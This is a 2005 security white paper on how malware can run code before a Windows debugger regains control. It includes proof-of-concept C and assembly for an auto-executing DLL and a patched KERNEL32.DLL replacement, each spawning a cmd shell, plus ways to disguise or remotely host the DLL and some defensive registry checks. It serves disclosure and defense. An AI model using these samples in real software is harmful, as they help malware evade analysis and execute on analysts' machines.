security-assessment.com

White Paper

Title: Bugger The Debugger
- Pre Interaction Debugger Code Execution

Prepared by: Brett Moore
Network Intrusion Specialist, CTO
Security-Assessment.com

Date: April 2005

Abstract

The use of debuggers to analyse malicious or otherwise unknown binaries has become a requirement for reverse engineering executables to help determine their purpose. While researchers in places such as anti-virus laboratories have always done this, with the availability of free and easy to use debuggers it has also become popular with corporate security officers and home users.

One of the main purposes of a debugger is to allow the user to control the execution of a binary in such a way as to determine what instructions or commands the binary is executing. During malware analysis the user can modify what the binary is trying to execute, or prevent it all together.

This paper will demonstrate methods that may be used by malware to execute code, simply by being loaded into a debugging session. This code execution occurs before the debugger passes control back to the user and therefore cannot be prevented.

Debuggers

Our research was done on the Windows 2000 SP4 operating system, using the following three popular debuggers;

OllyDbg
Microsoft Visual C++ Debugger
WinDbg

Various other lesser-known free debuggers were also tested and found to have the same weaknesses, allowing for the methods in this document to be exploited.

When the debugger loads a binary, a breakpoint is placed at the executables entry point. The entry point is a DWORD contained in the IMAGE_OPTIONAL_HEADER section of the executables PE header, and is an RVA address where the executable part of the code will be located after loading has completed.

Since the debugger has created a breakpoint at what appears to be the start of the executable code, the user expects the debugger to ‘break’ and pass control back to the user before the executable code starts running.

The attacks described in this document are based on the fact that it is possible to execute code before the entry point is reached and therefore before control is passed back to the user.

The Windows Loader

When an executable is first loaded, the Windows loader is responsible for reading in the files PE structure and loading the executable image into memory. One of the other key processes it handles, is to load all of the dlls that the application uses and map them into the process address space.

Within a PE file, there's an array of data structures, one per imported DLL. Each of these structures gives the name of the imported DLL and points to an array of function pointers. The array of function pointers is known as the import address table (IAT). Each imported API has its own reserved spot in the IAT where the address of the imported function is written by the Windows loader.

After all the required DLL files are loaded, the applicable initialization routines are called for any of the DLL files where required. In Windows NT, the routine that invokes the entry point of EXEs and DLLs is called LdrpRunInitializeRoutines.

The Autoexecute DLL Summary

Because the DLL initialization is done before execution flow reaches the binaries entry point, it is possible for a binary to import a DLL file that contains malicious code which will be run before control is passed back to the debugger.

The Kernel32 DLL Replacement Summary

The windows loader assumes that every valid binary will import KERNEL32.DLL. Once the loader, which resides in NTDLL.DLL, has loaded all the required modules, execution jumps to an address that resides inside KERNEL32.DLL. This code does the final setup before reaching an instruction that passes execution through to the binaries entry point.

On Window 2000 this instruction looks like;

```
7C59893A      call      dword ptr [ebp+8]
```

This instruction passes execution to the binaries entry point, and therefore back to the debugger.

If it is possible for the malicious binary to load its own DLL instead of KERNEL32.DLL then the binary can gain execution control before the entry point is reached. By doing this, the binary can execute code before control is passed back to the debugger.

Because a replacement system DLL is being supplied, this method appears to be operating system dependent.

The Autoexecute DLL Detail

The DllMain function is an optional entry point into a dynamic-link library (DLL). If the function is used, it is called by the system when processes and threads are initialized and terminated, or upon calls to the LoadLibrary and FreeLibrary functions.

As mentioned in the summary above, before the process entry point is called DLL initialization occurs through a call to the DllMain function of any loaded DLLs.

PREDEBUG1 - DLL

```
/*
--------------------------------------------------------------------
-       PREDEBUG 1 - The Autoexecute DLL [ DLL PART ]
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own dll that has initialization code
-       This code will be executed before control is passed back
-       to the debugger
-
-       brett.moore@security-assessment.com
--------------------------------------------------------------------
*/
#include "stdafx.h"
#include "process.h"
extern "C" int __declspec(dllexport) myfunc(void);
int myfunc();

int myfunc()
{
        return TRUE;
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                       )
{

        system("cmd");
        return TRUE;
}
```

PREDEBUG1 - EXE

```
/*
---------------------------------------------------------------------
-       PREDEBUG 1 - The Autoexecute DLL [ EXE PART ]
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own dll that has initialization code
-       This code will be executed before control is passed back
-       to the debugger
-
-       Needs to be compiled without optimisation
-
-       brett.moore@security-assessment.com
---------------------------------------------------------------------
*/
#include <stdio.h>
void doit()
{
        myfunc();
}
int main(int argc, char *argv[])
{
   printf("Hello World...\n");
}
```

When compiled and loaded into a debugger, the above code will cause a cmd.exe shell to be started before the executables entry point is reached.

The Autoexecute DLL Defenses

It is possible to force the Windows Loader to execute a breakpoint when a DLL is loaded by creating a registry entry. This registry entry is per DLL file and should be created as;

> HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<DLLNAME>

In the key, create a new string value called "BreakOnDllLoad" and set it to "1". This will allow the debugger to break when the DLL is loaded, and tracing of execution can begin.

The Kernel32 DLL Replacement Detail

An alternative method of obtaining execution control before a programs entry point is called, is through supplying a 'trojan' KERNEL23.DLL. We use the term trojan here in a very loose manner, in reality we supply a modified copy of KERNEL32.DLL that will be loaded by the malware, instead of the original.

As mentioned in the summary, this method appears to be OS dependant, although it may be possible to create a cross platform replacement DLL.

Creating the replacement DLL is done by taking a copy of KERNEL32.DLL and then replacing the code responsible for passing control to the binaries entry point. The code replacement is as follows;

```
7C598934 FF 15 4C 13 57 7C    call   dword ptr ds:[7C57134Ch]
7C59893A FF 55 08             call   dword ptr [ebp+8]
7C59893D 50                   push   eax
7C59893E EB 27                jmp    7C598967
7C598940 8B 45 EC             mov    eax,dword ptr [ebp-14h]
```

With

```
7C598934 FF 15 4C 13 57 7C   call   dword ptr ds:[7C57134Ch]
7C59893A 8B 5D 08            mov    ebx,[ebp+08]
7C59893D 66 BB 00 10         mov    bx,1000h
7C59893E FF E3               jmp    ebx
7C598940 8B 45 EC            mov    eax,dword ptr [ebp-14h]
```

This causes the original entry point to be stored in EBX, and then the BX register is initialized with 1000h, which will then cause execution to jump to 0xXXXX1000. This is the start of the malicious function in this example.

Once the malware executable is compiled, a hex editor can be used to replace the KERNEL32.DLL import entry with the name of the replacement DLL.

```
000065A0 AF00 4578 6974 5072 6F63 6573 7300 6000 ..ExitProcess.`.
000065B0 4372 6561 7465 5072 6F63 6573 7341 0000 CreateProcessA..
000065C0 AF01 4765 7453 7461 7274 7570 496E 666F ..GetStartupInfo
000065D0 4100 9801 4765 7450 726F 6341 6464 7265 A...GetProcAddre
000065E0 7373 0000 7701 4765 744D 6F64 756C 6548 ss..w.GetModuleH
000065F0 616E 646C 6541 0000 5052 4544 4542 5547 andleA..PREDEBUG
00006600 2E44 4C4C 0000 0801 4765 7443 6F6D 6D61 .DLL....GetComma
00006610 6E64 4C69 6E65 4100 DE01 4765 7456 6572 ndLineA...GetVer
00006620 7369 6F6E 0000 5103 5465 726D 696E 6174 sion..Q.Terminat
00006630 6550 726F 6365 7373 0000 3A01 4765 7443 eProcess..:.GetC
00006640 7572 7265 6E74 5072 6F63 6573 7300 6203 urrentProcess.b.
00006650 556E 6861 6E64 6C65 6445 7863 6570 7469 UnhandledExcepti
```

By replacing the import module name, we are forcing the loader to load our replacement module into the address space normally occupied by KERNEL32.DLL. When the loader jumps to the code, which it expects to find in that address space, our replacement code is executed.

Since the malware will want to make use of other real DLL files, the replacement DLL file must be removed before another DLL tries to import functions from KERNEL32.DLL, otherwise an Illegal System DLL Relocation error will occur. To do this the malicious function, predebug(), needs to do some cleanup work before normal code can start executing.

Since the OS thinks that the replacement DLL is the real KERNEL32.DLL it has had its DLL load count flag set to 0xFFFF, which is used as a check to prevent it from being unloaded. The malicious function must reset this flag back to one, so that the call to LdrUnloadDll will be successful. This is done using the following code;

```
// Removes the 'system dll' check
_asm{
   mov esi,fs:0x30       // Get Peb
   add esi,0x0c          // Move to PPROCESS_MODULE_INFO
   lodsd                 // Get the pointer into EAX
   mov esi,[eax + 0x1c]  // InInitializationOrderModuleList
   lodsd                 // Grab Next Pointer  in eax
   mov word ptr [eax+0x28],01  // Overwrite the 'load count'
}
```

The NTDLL.DLL exports LdrUnloadDll, LdrLoadDLL are used since there will be no valid KERNEL32.DLL loaded during this cleanup process. The malicious function now unloads the replacement DLL file, and loads the real KERNEL32.DLL file;

```
// Get the address of our dll
hMod = GetModuleHandle("predebug.dll");
// Unload it
LdrUnloadDll(hMod);
// Load the real kernel32.dll
LdrLoadDl(NULL,NULL,&nString,&hMod);
```

After this procedure has been completed, the binary is able to import any existing DLL files, and use any of the standard functions.

PREDEBUG2- EXE

```
/*
-------------------------------------------------------------------------
-       PREDEBUG 2 - The Kernel32 DLL Replacement
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own copy of kernel32 which alters the
-       entry address, removes the copy and loads the real
-        kernel32.dll
-
-       Needs to be compiled without optimisation
-
-       brett.moore@security-assessment.com
-------------------------------------------------------------------------
*/
#define _WIN32_WINNT 0x501
#include <stdio.h>
#include <windows.h>
// Included From winternl.h
typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

VOID (__stdcall *LdrLoadDl)(
        IN PWCHAR               PathToFile OPTIONAL,
        IN ULONG                Flags OPTIONAL,
        IN PUNICODE_STRING      ModuleFileName,
        OUT PHANDLE             ModuleHandle );

VOID (__stdcall *LdrUnloadDll)(
        HINSTANCE pInstance
        );

VOID (__stdcall *RtlInitUnicodeString)(
        IN OUT PUNICODE_STRING  DestinationString,
        IN PCWSTR  SourceString
        );
```

```
void predebug()
{
        HMODULE hMod;
        UNICODE_STRING nString;
        STARTUPINFO     si;
        PROCESS_INFORMATION pi;
        // Grab the API addresses we require
        hMod = GetModuleHandle("ntdll.dll");
        LdrLoadDl = (void *) GetProcAddress(hMod, "LdrLoadDll");
        LdrUnloadDll = (void *) GetProcAddress(hMod, "LdrUnloadDll");
        RtlInitUnicodeString = (void *) GetProcAddress(
               hMod,"RtlInitUnicodeString");

        // Init the unicode string
        RtlInitUnicodeString(&nString,L"kernel32.dll");

        // Removes the 'system dll' check
        _asm{
           mov esi,fs:0x30       // Get Peb
           add esi,0x0c          // Move to PPROCESS_MODULE_INFO
           lodsd                 // Get the pointer into EAX
           mov esi,[eax + 0x1c]  // InInitializationOrderModuleList
           lodsd                 // Grab Next Pointer  in eax
           mov word ptr [eax+0x28],01  // Overwrite the 'load count'
        }

        // Get the address of our dll
        hMod = GetModuleHandle("predebug.dll");
        // Unload it
        LdrUnloadDll(hMod);



        // Load the real kernel32.dll
        LdrLoadDl(NULL,NULL,&nString,&hMod);

        // We are now in a state where we can execute code normally

       GetStartupInfo(&si);
       CreateProcess("c:\\winnt\\system32\\cmd.exe", NULL, NULL,
           NULL, TRUE,CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
       ExitProcess(1);
}
```

```
int main(int argc, char *argv[])
{
   printf("Hello World....\n");
}
```

When compiled and loaded into a debugger, the above code will cause a cmd.exe shell to be started before the executables entry point is reached.

The Kernel32 DLL Replacement Defenses

It is possible to use the registry entry setting as detailed under the Autoexecute DLL section, but because the execution hijacking is in a more obscure location, it will not be apparent by looking at the DLL initialization code.

One method of detecting this would be to ensure that the binary has an import entry of KERNEL32.DLL, but even so it may be possible to trojan other DLL files in a similar manner. It would also be possible to detect this type of attack, through checking the base address of the imported DLL's for a conflict with KERNEL32.DLL.

The Obscure DLL

The two methods detailed above make use of a DLL file that may or may not be analysed first as part of the malware dissection. There are however methods that can be used to obscure this file as well.

- The DLL Name
  The name of the DLL to be loaded does not require an extension of .dll; in fact it doesn't require an extension at all. This file can be renamed to look like a .txt, .jpg or any other obscure extension that may diffuse attention away from it.
- The Remote DLL
  As pointed out in http://lists.virus.org/darklab-0312/msg00006.html, LoadLibrary will follow UNC paths. This means that the DLL to be loaded could be hosted on a remote machine. While this DLL will obviously not be loaded when the analysis is done on a separated machine, it could be used to add an extra layer of difficulty to the malware analysis.
- The KERNEL32.DLL EXE Replacement
  This method employs the same technique as the KERNEL32.DLL replacement attack, but replaces KERNEL32.DLL with the malware binary. This is accomplished by crafting a binary with a base address that is the same as KERNEL32.DLL, and making sure KERNEL32.DLL is not imported. The windows loader will then jump directly into the binary code, bypassing the need for execution to reach the executables entry point.

Final Summary

Recently some attacks against debuggers have become known that attack the debugger through buffer overflow exploits.

Format String Bug in OllyDbg 1.10
http://cert.uni-stuttgart.de/archive/bugtraq/2004/07/msg00211.html
OllyDbg long process Module debug Vulnerability
http://cert.uni-stuttgart.de/archive/bugtraq/2005/03/msg00337.html

What we have attempted to show in this document is that unauthorized code execution inside a debugger, is possible by using DLL manipulation and exploiting the order in which linked components are loaded and executed.

Because these attack avenues are made possible through the way in which WIN32 binaries are loaded, it may not be possible for debuggers to generate patches to handle these scenarios. It is possible however to be aware of these methods, and to attempt to detect them during a malware analysis session.

Since malware analysis should be performed on a separated machine that for all intents and purposes is a scapegoat; the threat of code execution should not be of concern. What these attacks could allow malware to do though, is alter themselves depending on whether they are inside a debugging environment or not. This could prevent their true code from being discovered.

A very simple example of this could be if the malware has a visible password string, that when viewed through IDA or a debugger is set to 'ircpass'. When the malware is run under normal use, it can connect to the IRC server and login, but if the password is used under a manual IRC connect, it fails. This behavior could be due to the malware running some predebug code, that xors or alters the password string as long as it is not been run under a debug session.

This is a different story of course, if the debugging session is done on a non-protected machine, but recommendations to solve those types of issues are beyond the scope of this document….

References

Solving The Mysteries Of The Loader

http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/default.aspx

Under The Hood, Sep 1999

http://www.microsoft.com/msj/0999/hood/hood0999.aspx

MSDN – DLLMain

http://msdn.microsoft.com/library/en-us/dllproc/base/dllmain.asp

MSDN – Dynamic Link Library Entry-Point Function

http://msdn.microsoft.com/library/en-us/dllproc/base/dynamic_link_library_entry_point_function.asp

Peering Inside The PE: A Tour Of The Win32 PE File Format

http://msdn.microsoft.com/library/en-us/dndebug/html/msdn_peeringpe.asp

Security-Assessment.com

www.security-assessment.com

About Security-Assessment.com

Security-Assessment.com is an established team of Information Security consultants specialising in providing high quality Information Security Assurance services to clients throughout the UK and Australasia. We provide independent advice, in-depth knowledge and high level technical expertise to clients who range from small businesses to some of the worlds largest companies

Using proven security principles and practices combined with leading software and proprietary solutions we work with our clients to provide simple and appropriate assurance solutions to Information security challenges that are easy to understand and use for their clients.

Security-Assessment.com provides security solutions that enable developers, government and enterprises to add strong security to their businesses, devices, networks and applications. We lead the market in on-line security compliance applications with the SA-ISO Security Compliance Management system, which enables companies to ensure that they are effective and in line with accepted best practice for Information Security Management.

Copyright Information